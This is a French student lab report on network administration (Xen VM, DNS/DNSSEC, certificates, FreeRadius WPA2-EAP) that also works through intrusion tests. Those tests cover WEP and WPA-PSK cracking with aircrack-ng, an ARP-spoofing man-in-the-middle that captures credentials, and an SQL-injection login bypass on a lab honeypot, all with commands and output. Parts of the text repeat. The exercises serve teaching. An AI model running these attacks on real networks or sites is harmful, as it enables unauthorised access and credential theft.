J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|800px|thumb|left|Interface eth0]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-11-17T12:55:04Z

Lchenu : /* Intrusion sur un serveur d’application Web */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
